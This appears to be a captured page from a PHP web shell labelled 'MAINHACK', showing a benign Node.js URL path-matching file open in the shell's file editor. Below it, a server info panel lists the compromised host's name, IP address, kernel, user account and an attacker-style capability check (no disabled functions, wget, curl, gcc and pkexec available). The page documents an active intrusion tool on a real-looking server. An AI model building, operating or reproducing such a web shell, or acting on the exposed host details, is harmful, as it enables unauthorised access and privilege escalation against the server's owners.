[
MAINHACK
]
Mail Test
BC
Config Scan
HOME
Create...
New File
New Folder
Viewing / Editing File: context-matcher.js
"use strict"; Object.defineProperty(exports, "__esModule", { value: true }); exports.match = void 0; const isGlob = require("is-glob"); const micromatch = require("micromatch"); const url = require("url"); const errors_1 = require("./errors"); function match(context, uri, req) { // single path if (isStringPath(context)) { return matchSingleStringPath(context, uri); } // single glob path if (isGlobPath(context)) { return matchSingleGlobPath(context, uri); } // multi path if (Array.isArray(context)) { if (context.every(isStringPath)) { return matchMultiPath(context, uri); } if (context.every(isGlobPath)) { return matchMultiGlobPath(context, uri); } throw new Error(errors_1.ERRORS.ERR_CONTEXT_MATCHER_INVALID_ARRAY); } // custom matching if (typeof context === 'function') { const pathname = getUrlPathName(uri); return context(pathname, req); } throw new Error(errors_1.ERRORS.ERR_CONTEXT_MATCHER_GENERIC); } exports.match = match; /** * @param {String} context '/api' * @param {String} uri 'http://example.org/api/b/c/d.html' * @return {Boolean} */ function matchSingleStringPath(context, uri) { const pathname = getUrlPathName(uri); return pathname.indexOf(context) === 0; } function matchSingleGlobPath(pattern, uri) { const pathname = getUrlPathName(uri); const matches = micromatch([pathname], pattern); return matches && matches.length > 0; } function matchMultiGlobPath(patternList, uri) { return matchSingleGlobPath(patternList, uri); } /** * @param {String} contextList ['/api', '/ajax'] * @param {String} uri 'http://example.org/api/b/c/d.html' * @return {Boolean} */ function matchMultiPath(contextList, uri) { let isMultiPath = false; for (const context of contextList) { if (matchSingleStringPath(context, uri)) { isMultiPath = true; break; } } return isMultiPath; } /** * Parses URI and returns RFC 3986 path * * @param {String} uri from req.url * @return {String} RFC 3986 path */ function getUrlPathName(uri) { return uri && url.parse(uri).pathname; } function isStringPath(context) { return typeof context === 'string' && !isGlob(context); } function isGlobPath(context) { return isGlob(context); }
Save Changes
Cancel / Back
Close ×
Server Info
Hostname: server1.winmanyltd.com
Server IP: 203.161.60.52
PHP Version: 8.3.27
Server Software: Apache
System: Linux server1.winmanyltd.com 4.18.0-553.22.1.el8_10.x86_64 #1 SMP Tue Sep 24 05:16:59 EDT 2024 x86_64
HDD Total: 117.98 GB
HDD Free: 59.44 GB
Domains on IP: N/A (Requires external lookup)
System Features
Safe Mode:
Off
disable_functions:
None
allow_url_fopen:
On
allow_url_include:
Off
magic_quotes_gpc:
Off
register_globals:
Off
open_basedir:
None
cURL:
Enabled
ZipArchive:
Enabled
MySQLi:
Enabled
PDO:
Enabled
wget:
Yes
curl (cmd):
Yes
perl:
Yes
python:
Yes (py3)
gcc:
Yes
pkexec:
Yes
git:
Yes
User Info
Username: eliosofonline
User ID (UID): 1002
Group ID (GID): 1003
Script Owner UID: 1002
Current Dir Owner: 1002